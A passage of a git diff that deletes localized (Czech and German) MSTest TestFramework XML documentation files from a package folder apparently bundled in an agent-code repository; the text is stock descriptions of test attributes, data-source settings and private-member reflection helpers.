lokalizovaný řetězec podobný řetězci Testovací metoda nevyvolala očekávanou výjimku {0}. {1}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda nevyvolala výjimku. Atribut {0} definovaný testovací metodou očekával výjimku. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda vyvolala výjimku {0}, ale očekávala se výjimka {1}. Zpráva o výjimce: {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Testovací metoda vyvolala výjimku {0}, očekávala se ale odvozená výjimka {1} nebo typ. Zpráva o výjimce: {2}. - - - - - Vyhledá lokalizovaný řetězec podobný tomuto: Vyvolala se výjimka {2}, ale očekávala se výjimka {1}. {0} - Zpráva o výjimce: {3} - Trasování zásobníku: {4} - - - - - Výsledky testu jednotek - - - - - Test se provedl, ale došlo k problémům. - Problémy se můžou týkat výjimek nebo neúspěšných kontrolních výrazů. - - - - - Test se dokončil, ale není možné zjistit, jestli byl úspěšný, nebo ne. - Dá se použít pro zrušené testy. - - - - - Test se provedl zcela bez problémů. - - - - - V tuto chvíli probíhá test. - - - - - Při provádění testu došlo k chybě systému. - - - - - Časový limit testu vypršel. - - - - - Test byl zrušen uživatelem. - - - - - Test je v neznámém stavu. - - - - - Poskytuje pomocnou funkci pro systém pro testy jednotek. - - - - - Rekurzivně získá zprávy o výjimce, včetně zpráv pro všechny vnitřní - výjimky. - - Výjimka pro načítání zpráv pro - řetězec s informacemi v chybové zprávě - - - - Výčet pro časové limity, který se dá použít spolu s třídou . - Typ výčtu musí odpovídat - - - - - Nekonečno - - - - - Atribut třídy testu - - - - - Získá atribut testovací metody, který umožní spustit tento test. - - Instance atributu testovací metody definované v této metodě. - Typ Použije se ke spuštění tohoto testu. - Extensions can override this method to customize how all methods in a class are run. - - - - Atribut testovací metody - - - - - Spustí testovací metodu. - - Testovací metoda, která se má spustit. - Pole objektů TestResult, které představuje výsledek (nebo výsledky) daného testu. - Extensions can override this method to customize running a TestMethod. - - - - Atribut inicializace testu - - - - - Atribut vyčištění testu - - - - - Atribut ignore - - - - - Atribut vlastnosti testu - - - - - Inicializuje novou instanci třídy . - - - Název - - - Hodnota - - - - - Získá název. - - - - - Získá hodnotu. - - - - - Atribut inicializace třídy - - - - - Atribut vyčištění třídy - - - - - Atribut inicializace sestavení - - - - - Atribut vyčištění sestavení - - - - - Vlastník testu - - - - - Inicializuje novou instanci třídy . - - - Vlastník - - - - - Získá vlastníka. - - - - - Atribut priority, používá se pro určení priority testu jednotek. - - - - - Inicializuje novou instanci třídy . - - - Priorita - - - - - Získá prioritu. - - - - - Popis testu - - - - - Inicializuje novou instanci třídy , která popíše test. - - Popis - - - - Získá popis testu. - - - - - Identifikátor URI struktury projektů CSS - - - - - Inicializuje novou instanci třídy pro identifikátor URI struktury projektů CSS. - - Identifikátor URI struktury projektů CSS - - - - Získá identifikátor URI struktury projektů CSS. - - - - - Identifikátor URI iterace CSS - - - - - Inicializuje novou instanci třídy pro identifikátor URI iterace CSS. - - Identifikátor URI iterace CSS - - - - Získá identifikátor URI iterace CSS. - - - - - Atribut WorkItem, používá se pro zadání pracovní položky přidružené k tomuto testu. - - - - - Inicializuje novou instanci třídy pro atribut WorkItem. - - ID pro pracovní položku - - - - Získá ID k přidružené pracovní položce. - - - - - Atribut časového limitu, používá se pro zadání časového limitu testu jednotek. - - - - - Inicializuje novou instanci třídy . - - - Časový limit - - - - - Inicializuje novou instanci třídy s předem nastaveným časovým limitem. - - - Časový limit - - - - - Získá časový limit. - - - - - Objekt TestResult, který se má vrátit adaptéru - - - - - Inicializuje novou instanci třídy . - - - - - Získá nebo nastaví zobrazovaný název výsledku. Vhodné pro vrácení většího počtu výsledků. - Pokud je null, jako DisplayName se použije název metody. - - - - - Získá nebo nastaví výsledek provedení testu. - - - - - Získá nebo nastaví výjimku vyvolanou při chybě testu. - - - - - Získá nebo nastaví výstup zprávy zaprotokolované testovacím kódem. - - - - - Získá nebo nastaví výstup zprávy zaprotokolované testovacím kódem. - - - - - Získá nebo načte trasování ladění testovacího kódu. - - - - - Gets or sets the debug traces by test code. - - - - - Získá nebo nastaví délku trvání testu. - - - - - Získá nebo nastaví index řádku dat ve zdroji dat. Nastavte pouze pro výsledky jednoho - spuštění řádku dat v testu řízeném daty. - - - - - Získá nebo nastaví návratovou hodnotu testovací metody. (Aktuálně vždy null) - - - - - Získá nebo nastaví soubory s výsledky, které připojil test. - - - - - Určuje připojovací řetězec, název tabulky a metodu přístupu řádku pro testování řízené daty. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Název výchozího poskytovatele pro DataSource - - - - - Výchozí metoda pro přístup k datům - - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s poskytovatelem dat, připojovacím řetězcem, tabulkou dat a přístupovou metodou k datům, pomocí kterých se získá přístup ke zdroji dat. - - Název poskytovatele neutrálních dat, jako je System.Data.SqlClient - - Připojovací řetězec specifický pro poskytovatele dat. - UPOZORNĚNÍ: Připojovací řetězec může obsahovat citlivé údaje (třeba heslo). - Připojovací řetězec se ukládá v podobě prostého textu ve zdrojovém kódu a v kompilovaném sestavení. - Tyto citlivé údaje zabezpečíte omezením přístupu ke zdrojovému kódu a sestavení. - - Název tabulky dat - Určuje pořadí přístupu k datům. - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s připojovacím řetězcem a názvem tabulky. - Zadejte připojovací řetězec a tabulku dat, pomocí kterých se získá přístup ke zdroji dat OLEDB. - - - Připojovací řetězec specifický pro poskytovatele dat. - UPOZORNĚNÍ: Připojovací řetězec může obsahovat citlivé údaje (třeba heslo). - Připojovací řetězec se ukládá v podobě prostého textu ve zdrojovém kódu a v kompilovaném sestavení. - Tyto citlivé údaje zabezpečíte omezením přístupu ke zdrojovému kódu a sestavení. - - Název tabulky dat - - - - Inicializuje novou instanci třídy . Tato instance se inicializuje s poskytovatelem dat a připojovacím řetězcem přidruženým k názvu nastavení. - - Název zdroje dat nalezený v oddílu <microsoft.visualstudio.qualitytools> souboru app.config. - - - - Získá hodnotu představující poskytovatele dat zdroje dat. - - - Název poskytovatele dat. Pokud poskytovatel dat nebyl při inicializaci objektu zadán, bude vrácen výchozí poskytovatel System.Data.OleDb. - - - - - Získá hodnotu představující připojovací řetězec zdroje dat. - - - - - Získá hodnotu označující název tabulky poskytující data. - - - - - Získá metodu používanou pro přístup ke zdroji dat. - - - - Jedna z těchto položek: . Pokud není inicializován, vrátí výchozí hodnotu . - - - - - Získá název zdroje dat nalezeného v části <microsoft.visualstudio.qualitytools> v souboru app.config. - - - - - Atribut testu řízeného daty, kde se data dají zadat jako vložená. - - - - - Vyhledá všechny datové řádky a spustí je. - - - Testovací metoda - - - Pole . - - - - - Spustí testovací metodu řízenou daty. - - Testovací metoda, kterou chcete provést. - Datový řádek - Výsledek provedení - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 6dc91e9f..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/de/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Wird zum Angeben des Bereitstellungselements (Datei oder Verzeichnis) für eine Bereitstellung pro Test verwendet. - Kann für eine Testklasse oder Testmethode angegeben werden. - Kann mehrere Instanzen des Attributs besitzen, um mehrere Elemente anzugeben. - Der Elementpfad kann absolut oder relativ sein. Wenn er relativ ist, dann relativ zu "RunConfig.RelativePathRoot". - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die bereitzustellende Datei oder das Verzeichnis. Der Pfad ist relativ zum Buildausgabeverzeichnis. Das Element wird in das gleiche Verzeichnis wie die bereitgestellten Testassemblys kopiert. - - - - Initialisiert eine neue Instanz der -Klasse. - - Der relative oder absolute Pfad zur bereitzustellenden Datei oder zum Verzeichnis. Der Pfad ist relativ zum Buildausgabeverzeichnis. Das Element wird in das gleiche Verzeichnis wie die bereitgestellten Testassemblys kopiert. - Der Pfad des Verzeichnisses, in das die Elemente kopiert werden sollen. Er kann absolut oder relativ zum Bereitstellungsverzeichnis sein. Alle Dateien und Verzeichnisse, die identifiziert werden durch werden in dieses Verzeichnis kopiert. - - - - Ruft den Pfad der Quelldatei oder des -ordners ab, die bzw. der kopiert werden soll. - - - - - Ruft den Pfad des Verzeichnisses ab, in das das Element kopiert werden soll. - - - - - Enthält Literale für Namen von Abschnitten, Eigenschaften, Attributen. - - - - - Der Konfigurationsabschnittsname. - - - - - Der Konfigurationsbereichsname für Beta2. Belassen für Kompatibilität. - - - - - Abschnittsname für die Datenquelle. - - - - - Attributname für "Name" - - - - - Attributname für "ConnectionString" - - - - - Attributname für "DataAccessMethod" - - - - - Attributname für "DataTable" - - - - - Das Datenquellelement. - - - - - Ruft das Arrayelement mit einem Array von tiefgestellten Indizes für diese Konfiguration ab. - - - - - Ruft das Element "ConnectionStringSettings" im Abschnitt <connectionStrings> in der Konfigurationsdatei ab oder legt es fest. - - - - - Ruft den Namen der Datentabelle ab oder legt ihn fest. - - - - - Ruft den Datenzugriffstyp ab oder legt ihn fest. - - - - - Ruft den Schlüsselnamen ab. - - - - - Ruft die Konfigurationseigenschaften ab. - - - - - Die Sammlung der Datenquellenelemente. - - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Gibt das Konfigurationselement mit dem angegebenen Schlüssel zurück. - - Der Schlüssel des Elements, das zurückgegeben werden soll. - Das System.Configuration.ConfigurationElement mit dem angegebenen Schlüssel, andernfalls NULL. - - - - Ruft das Konfigurationselement am angegebenen Indexspeicherort ab. - - Der Indexspeicherort des System.Configuration.ConfigurationElement, das zurückgegeben werden soll. - - - - Fügt der Konfigurationselementsammlung ein Konfigurationselement hinzu. - - Das System.Configuration.ConfigurationElement, das hinzugefügt werden soll. - - - - Entfernt ein System.Configuration.ConfigurationElement aus der Sammlung. - - Das . - - - - Entfernt ein System.Configuration.ConfigurationElement aus der Sammlung. - - Der Schlüssel des zu entfernenden System.Configuration.ConfigurationElement. - - - - Entfernt alle Konfigurationselementobjekte aus der Sammlung. - - - - - Erstellt ein neues. - - Eine neues . - - - - Ruft den Elementschlüssel für ein angegebenes Konfigurationselement ab. - - Das System.Configuration.ConfigurationElement, für das der Schlüssel zurückgegeben werden soll. - Ein System.Object, das als Schlüssel für das angegebene System.Configuration.ConfigurationElement fungiert. - - - - Fügt der Konfigurationselementsammlung ein Konfigurationselement hinzu. - - Das System.Configuration.ConfigurationElement, das hinzugefügt werden soll. - - - - Fügt der Konfigurationselementsammlung ein Konfigurationselement hinzu. - - Die Stelle im Index, an der das angegebene System.Configuration.ConfigurationElement hinzugefügt werden soll. - Das System.Configuration.ConfigurationElement, das hinzugefügt werden soll. - - - - Unterstützung für Konfigurationseinstellungen für Tests. - - - - - Ruft den Konfigurationsabschnitt für Tests ab. - - - - - Der Konfigurationsabschnitt für Tests. - - - - - Ruft die Datenquellen für diesen Konfigurationsbereich ab. - - - - - Ruft die Sammlung von Eigenschaften ab. - - - Der mit Eigenschaften für das Element. - - - - - Diese Klasse stellt das NICHT öffentliche INTERNE Objekt im System dar. - - - - - Initialisiert eine neue Instanz der -Klasse, die - das bereits vorhandene Objekt der privaten Klasse enthält - - Objekt, das als Ausgangspunkt zum Erreichen der privaten Member dient - Die dereferenzierende Zeichenfolge mit ., die auf das abzurufende Objekt zeigt (wie in m_X.m_Y.m_Z). - - - - Initialisiert eine neue Instanz der-Klasse, die den - angegebenen Typ umschließt. - - Name der Assembly - Vollqualifizierter Name - Argumente, die an den Konstruktor übergeben werden sollen. - - - - Initialisiert eine neue Instanz der-Klasse, die den - angegebenen Typ umschließt. - - Name der Assembly - Vollqualifizierter Name - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für den abzurufenden Konstruktor darstellt. - Argumente, die an den Konstruktor übergeben werden sollen. - - - - Initialisiert eine neue Instanz der-Klasse, die den - angegebenen Typ umschließt. - - Typ des zu erstellenden Objekts - Argumente, die an den Konstruktor übergeben werden sollen. - - - - Initialisiert eine neue Instanz der-Klasse, die den - angegebenen Typ umschließt. - - Typ des zu erstellenden Objekts - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für den abzurufenden Konstruktor darstellt. - Argumente, die an den Konstruktor übergeben werden sollen. - - - - Initialisiert eine neue Instanz der-Klasse, die das - angegebene Objekt umschließt. - - Das zu umschließende Objekt. - - - - Initialisiert eine neue Instanz der-Klasse, die das - angegebene Objekt umschließt. - - Das zu umschließende Objekt. - PrivateType-Objekt - - - - Ruf das Ziel ab bzw. legt dieses fest. - - - - - Ruft den Typ des zugrunde liegenden Objekts ab - - - - - Gibt den Hashcode des Zielobjekts zurück. - - int-Wert, der den Hashcode des Zielobjekts darstellt. - - - - Ist gleich - - Objekt, mit dem verglichen werden soll - gibt "true" zurück, wenn die Objekte gleich sind. - - - - Ruft die angegebene Methode auf. - - Name der Methode - An den aufzurufenden Member zu übergebende Argumente. - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die abzurufende Methode darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die abzurufende Methode darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Ein Array von Typen, das den Typen der generischen Argumente entspricht. - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - An den aufzurufenden Member zu übergebende Argumente. - Kulturinformation - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die abzurufende Methode darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Kulturinformation - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - An den aufzurufenden Member zu übergebende Argumente. - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die abzurufende Methode darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - An den aufzurufenden Member zu übergebende Argumente. - Kulturinformation - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Name der Methode - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die abzurufende Methode darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Kulturinformation - Ergebnis des Methodenaufrufs - - - - Ruft die angegebene Methode auf. - - Der Name der Methode. - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die abzurufende Methode darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Kulturinformation - Ein Array von Typen, das den Typen der generischen Argumente entspricht. - Ergebnis des Methodenaufrufs - - - - Ruft das Arrayelement mit einem Array von tiefgestellten Indizes für jede Dimension ab. - - Name des Members - Indizes des Arrays - Ein Array von Elementen. - - - - Legt das Arrayelement mit einem Array von tiefgestellten Indizes für jede Dimension fest. - - Name des Members - Der festzulegende Wert - Indizes des Arrays - - - - Ruft das Arrayelement mit einem Array von tiefgestellten Indizes für jede Dimension ab. - - Name des Members - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Indizes des Arrays - Ein Array von Elementen. - - - - Legt das Arrayelement mit einem Array von tiefgestellten Indizes für jede Dimension fest. - - Name des Members - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Der festzulegende Wert - Indizes des Arrays - - - - Ruft das Feld ab. - - Name des Felds - Das Feld. - - - - Legt das Feld fest. - - Name des Felds - Der festzulegende Wert - - - - Ruft das Feld ab. - - Name des Felds - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Das Feld. - - - - Legt das Feld fest. - - Name des Felds - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Der festzulegende Wert - - - - Ruft das Feld oder die Eigenschaft ab. - - Der Name des Felds oder der Eigenschaft. - Das Feld oder die Eigenschaft. - - - - Legt das Feld oder die Eigenschaft fest. - - Der Name des Felds oder der Eigenschaft. - Der festzulegende Wert - - - - Ruft das Feld oder die Eigenschaft ab. - - Der Name des Felds oder der Eigenschaft. - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Das Feld oder die Eigenschaft. - - - - Legt das Feld oder die Eigenschaft fest. - - Der Name des Felds oder der Eigenschaft. - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Der festzulegende Wert - - - - Ruft die Eigenschaft ab. - - Der Name der Eigenschaft. - An den aufzurufenden Member zu übergebende Argumente. - Die Eigenschaft. - - - - Ruft die Eigenschaft ab. - - Der Name der Eigenschaft. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Die Eigenschaft. - - - - Legt die Eigenschaft fest. - - Der Name der Eigenschaft. - Der festzulegende Wert - An den aufzurufenden Member zu übergebende Argumente. - - - - Legt die Eigenschaft fest. - - Der Name der Eigenschaft. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - Der festzulegende Wert - An den aufzurufenden Member zu übergebende Argumente. - - - - Ruft die Eigenschaft ab. - - Name der Eigenschaft - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - An den aufzurufenden Member zu übergebende Argumente. - Die Eigenschaft. - - - - Ruft die Eigenschaft ab. - - Name der Eigenschaft - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Die Eigenschaft. - - - - Legt die Eigenschaft fest. - - Der Name der Eigenschaft. - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Der festzulegende Wert - An den aufzurufenden Member zu übergebende Argumente. - - - - Legt die Eigenschaft fest. - - Der Name der Eigenschaft. - Eine Bitmaske aus mindestens einem die angeben, wie die Suche ausgeführt wird. - Der festzulegende Wert - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - An den aufzurufenden Member zu übergebende Argumente. - - - - Überprüft die Zugriffszeichenfolge. - - Zugriffszeichenfolge - - - - Ruft den Member auf. - - Name des Members - Zusätzliche Attribute - Argumente für den Aufruf - Kultur - Ergebnis des Aufrufs - - - - Extrahiert die am besten geeignete generische Methodensignatur aus dem aktuellen privaten Typ. - - Der Name der Methode, in der der Signaturcache gesucht werden soll. - Ein Array von Typen, das den Typen der Parameter entspricht, in denen gesucht werden soll. - Ein Array von Typen, das den Typen der generischen Argumente entspricht. - zum weiteren Filtern der Methodensignaturen. - Modifizierer für Parameter. - Eine methodinfo-Instanz. - - - - Diese Klasse stellt eine private Klasse für die private Accessorfunktion dar. - - - - - Bindet an alles. - - - - - Der umschlossene Typ. - - - - - Initialisiert eine neue Instanz der -Klasse, die den privaten Typ enthält. - - Assemblyname - Der vollqualifizierte Name von - - - - Initialisiert eine neue Instanz der -Klasse, die - den privaten Typ aus dem Typobjekt enthält. - - Der umschlossene Typ, der erstellt werden soll. - - - - Ruft den referenzierten Typ ab. - - - - - Ruft den statischen Member auf. - - Der Name des Members, für den InvokeHelper aufgerufen werden soll. - Argumente für den Aufruf - Ergebnis des Aufrufs - - - - Ruft den statischen Member auf. - - Der Name des Members, für den InvokeHelper aufgerufen werden soll. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die aufzurufende Methode darstellt. - Argumente für den Aufruf - Ergebnis des Aufrufs - - - - Ruft den statischen Member auf. - - Der Name des Members, für den InvokeHelper aufgerufen werden soll. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die aufzurufende Methode darstellt. - Argumente für den Aufruf - Ein Array von Typen, das den Typen der generischen Argumente entspricht. - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Name des Members - Argumente für den Aufruf - Kultur - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Name des Members - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die aufzurufende Methode darstellt. - Argumente für den Aufruf - Kulturinformation - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Name des Members - Zusätzliche Aufrufattribute - Argumente für den Aufruf - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Name des Members - Zusätzliche Aufrufattribute - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die aufzurufende Methode darstellt. - Argumente für den Aufruf - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Der Name des Members. - Zusätzliche Aufrufattribute - Argumente für den Aufruf - Kultur - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Der Name des Members. - Zusätzliche Aufrufattribute - /// Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die aufzurufende Methode darstellt. - Argumente für den Aufruf - Kultur - Ergebnis des Aufrufs - - - - Ruft die statische Methode auf. - - Der Name des Members. - Zusätzliche Aufrufattribute - /// Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die aufzurufende Methode darstellt. - Argumente für den Aufruf - Kultur - Ein Array von Typen, das den Typen der generischen Argumente entspricht. - Ergebnis des Aufrufs - - - - Ruft das Element im statischen Array ab. - - Name des Arrays - - Ein eindimensionales Array aus ganzzahligen 32-Bit-Werten, die die Indizes darstellen, welche - die Position des abzurufenden Elements angeben. Um z. B. auf "a[10][11]" zuzugreifen, würden die Indizes {10,11} lauten. - - Element an der angegebenen Position - - - - Legt den Member des statischen Arrays fest. - - Name des Arrays - Der festzulegende Wert - - Ein eindimensionales Array aus ganzzahligen 32-Bit-Werten, die die Indizes darstellen, welche - die Position des festzulegenden Elements angeben. Um z. B. auf "a[10][11]" zuzugreifen, würde das Array {10,11} lauten. - - - - - Ruft das Element im statischen Array ab. - - Name des Arrays - Zusätzliche InvokeHelper-Attribute - - Ein eindimensionales Array aus ganzzahligen 32-Bit-Werten, die die Indizes darstellen, welche - die Position des abzurufenden Elements angeben. Um z. B. auf "a[10][11]" zuzugreifen, würde das Array {10,11} lauten. - - Element an der angegebenen Position - - - - Legt den Member des statischen Arrays fest. - - Name des Arrays - Zusätzliche InvokeHelper-Attribute - Der festzulegende Wert - - Ein eindimensionales Array aus ganzzahligen 32-Bit-Werten, die die Indizes darstellen, welche - die Position des festzulegenden Elements angeben. Um z. B. auf "[10][11]" zuzugreifen, würde das Array {10,11} lauten. - - - - - Ruft das statische Feld ab. - - Der Name des Felds. - Das statische Feld. - - - - Legt das statische Feld fest. - - Der Name des Felds. - Argument für den Aufruf - - - - Ruft das statische Feld mit den angegebenen InvokeHelper-Attributen ab. - - Der Name des Felds. - Zusätzliche Aufrufattribute - Das statische Feld. - - - - Legt das statische Feld mit Bindungsattributen fest. - - Der Name des Felds. - Zusätzliche InvokeHelper-Attribute - Argument für den Aufruf - - - - Ruft das statische Feld oder die Eigenschaft ab. - - Der Name des Felds oder der Eigenschaft. - Das statische Feld oder die statische Eigenschaft. - - - - Legt das statische Feld oder die Eigenschaft fest. - - Der Name des Felds oder der Eigenschaft. - Der Wert, auf den das Feld oder die Eigenschaft festgelegt wird. - - - - Ruft das statische Feld oder die Eigenschaft mit den angegebenen InvokeHelper-Attributen ab. - - Der Name des Felds oder der Eigenschaft. - Zusätzliche Aufrufattribute - Das statische Feld oder die statische Eigenschaft. - - - - Legt das statische Feld oder die Eigenschaft mit Bindungsattributen fest. - - Der Name des Felds oder der Eigenschaft. - Zusätzliche Aufrufattribute - Der Wert, auf den das Feld oder die Eigenschaft festgelegt wird. - - - - Ruft die statische Eigenschaft ab. - - Der Name des Felds oder der Eigenschaft. - Argumente für den Aufruf - Die statische Eigenschaft. - - - - Legt die statische Eigenschaft fest. - - Der Name der Eigenschaft. - Der Wert, auf den das Feld oder die Eigenschaft festgelegt wird. - An den aufzurufenden Member zu übergebende Argumente. - - - - Legt die statische Eigenschaft fest. - - Der Name der Eigenschaft. - Der Wert, auf den das Feld oder die Eigenschaft festgelegt wird. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - An den aufzurufenden Member zu übergebende Argumente. - - - - Ruft die statische Eigenschaft ab. - - Der Name der Eigenschaft. - Zusätzliche Aufrufattribute. - An den aufzurufenden Member zu übergebende Argumente. - Die statische Eigenschaft. - - - - Ruft die statische Eigenschaft ab. - - Der Name der Eigenschaft. - Zusätzliche Aufrufattribute. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - An den aufzurufenden Member zu übergebende Argumente. - Die statische Eigenschaft. - - - - Legt die statische Eigenschaft fest. - - Der Name der Eigenschaft. - Zusätzliche Aufrufattribute. - Der Wert, auf den das Feld oder die Eigenschaft festgelegt wird. - Optionale Indexwerte für indizierte Eigenschaften. Die Indizes indizierter Eigenschaften sind nullbasiert. Dieser Wert sollte für nicht indizierte Eigenschaften null sein. - - - - Legt die statische Eigenschaft fest. - - Der Name der Eigenschaft. - Zusätzliche Aufrufattribute. - Der Wert, auf den das Feld oder die Eigenschaft festgelegt wird. - Ein Array von Objekten, das die Anzahl, die Reihenfolge und den Typ der Parameter für die indizierte Eigenschaft darstellt. - An den aufzurufenden Member zu übergebende Argumente. - - - - Ruft die statische Methode auf. - - Der Name des Members. - Zusätzliche Aufrufattribute - Argumente für den Aufruf - Kultur - Ergebnis des Aufrufs - - - - Stellt Methodensignaturermittlung für generische Methoden bereit. - - - - - Vergleicht die Methodensignaturen dieser beiden Methoden. - - Method1 - Method2 - "true", wenn sie ähnlich sind. - - - - Ruft die Hierarchietiefe vom Basistyp des bereitgestellten Typs ab. - - Der Typ. - Die Tiefe. - - - - Findet den am häufigsten abgerufenen Typ mit den angegebenen Informationen. - - Kandidatenübereinstimmungen. - Anzahl der Übereinstimmungen. - Die am häufigsten abgerufene Methode. - - - - Wählt bei Angabe einer Sammlung von Methoden, die mit den Basiskriterien übereinstimmen, eine Methode basierend - auf einem Array von Typen aus. Diese Methode sollte NULL zurückgeben, wenn keine Methode - mit den Kriterien übereinstimmt. - - Bindungsspezifikation. - Kandidatenübereinstimmungen - Typen - Parametermodifizierer. - Übereinstimmungsmethode. NULL, wenn keine Übereinstimmung vorliegt. - - - - Findet unter den beiden angegeben Methoden die spezifischste. - - Methode 1 - Parameterreihenfolge für Methode 1 - Parameter-Arraytyp. - Methode 2 - Parameterreihenfolge für Methode 2 - >Parameter-Arraytyp. - Typen, in denen gesucht wird. - Argumente. - Ein "int", der die Übereinstimmung darstellt. - - - - Findet unter den beiden angegeben Methoden die spezifischste. - - Methode 1 - Parameterreihenfolge für Methode 1 - Parameter-Arraytyp. - Methode 2 - Parameterreihenfolge für Methode 2 - >Parameter-Arraytyp. - Typen, in denen gesucht wird. - Argumente. - Ein "int", der die Übereinstimmung darstellt. - - - - Findet unter den beiden angegeben Typen den spezifischsten. - - Typ 1 - Typ 2 - Der Definitionstyp - Ein "int", der die Übereinstimmung darstellt. - - - - Wird verwendet, um Informationen zu speichern, die für Komponententests bereitgestellt werden. - - - - - Ruft Testeigenschaften für einen Test ab. - - - - - Ruft die aktuelle Datenzeile ab, wenn der Test für datengesteuerte Tests verwendet wird. - - - - - Ruft die aktuelle Datenverbindungszeile ab, wenn der Test für datengesteuerte Tests verwendet wird. - - - - - Ruft das Basisverzeichnis für den Testlauf ab, in dem die bereitgestellten Dateien und die Ergebnisdateien gespeichert werden. - - - - - Ruft das Verzeichnis für Dateien ab, die für den Testlauf bereitgestellt werden. Normalerweise ein Unterverzeichnis von . - - - - - Ruft das Basisverzeichnis für Ergebnisse aus dem Testlauf ab. Normalerweise ein Unterverzeichnis von . - - - - - Ruft das Verzeichnis für Ergebnisdateien des Testlaufs ab. In der Regel ein Unterverzeichnis von . - - - - - Ruft das Verzeichnis für Testergebnisdateien ab. - - - - - Ruft das Basisverzeichnis für den Testlauf ab, unter dem bereitgestellte Dateien und Ergebnisdateien gespeichert werden. - Identisch mit. Verwenden Sie diese Eigenschaft. - - - - - Ruft das Verzeichnis für Dateien ab, die für den Testlauf bereitgestellt werden. Normalerweise ein Unterverzeichnis von . - Identisch mit. Verwenden Sie diese Eigenschaft. - - - - - Ruft das 